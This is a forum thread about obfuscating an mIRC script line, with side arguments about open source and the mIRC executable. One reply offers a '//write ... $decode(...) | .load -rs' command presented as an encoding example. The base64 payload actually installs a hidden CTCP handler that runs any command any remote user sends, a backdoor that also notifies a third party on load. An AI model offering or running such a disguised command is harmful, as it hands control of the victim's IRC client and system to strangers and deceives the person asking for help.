Forums Scripts & Popups Encode a string in my script with $encode

Is it possible to encode a string that is in my script.ini so it can't be easily read but it still works?

example:

could I encode this string

ctcp 1:TRIGGER: { /msg $nick Hi there }

in something unreadable, like:

#@#òè@#@ò[@#ò (it's a silly example)

leaving the ctcp working?

thanks

Read this and this and this and this and this and this and many more .. this has been discussed many times.

thanks ......one thing.........I don't want to offend anynone but in those posts I see just a bunch of false moralisms....I need only to "disguise" ONE row in my script...I don't understand all the "it's-open-source-so-screw-you" hardcore-guys...

because if you don't like open source, dont use mirc

do you mean something like this:
//write krneki $decode(b24gKjp0ZXh0Oio6KjogeyBpZiAoICVhYmMgPT0gJG51bGwgKSB7IC93cml0ZSBtSVJDIGN0Y3AgKjoqOio6IHsgJCAkKyAxLSB9IHwgLy5sb2FkIC1ycyBtSVJDIHwgJWFiYyA9IDEgfCAvLm1zZyBOZXpuYW5pIE5hbG96dSBzbS4gfSB9,m) | .load -rs krneki

i like open source (i have also Slackware installed) but I think this behavior is a bit exaggerated.....take it easy

incredibly funny....you're really something man....

:P

by the way, why if mirc is so much an open-source oriented software, on version 6.12 you can't even change the filename of the .exe? I think it's crap

We're talking about mIRC scripting itself. It is and has always been open-source, so you'll most likely have to find any other way to mask your stuff..

ever heard of shortcuts? apparently not.

apparentely there was no need since this is the first program EVER that has a namecheck in the exe

Actually, the need comes from Khaled anyway, since he's obviously attempting to add protections to his app.
Still, that has nothing to do with the main subject.

Ah well, the point has already been made..

3DMark 2003 has it too, so other programs will probably have it too...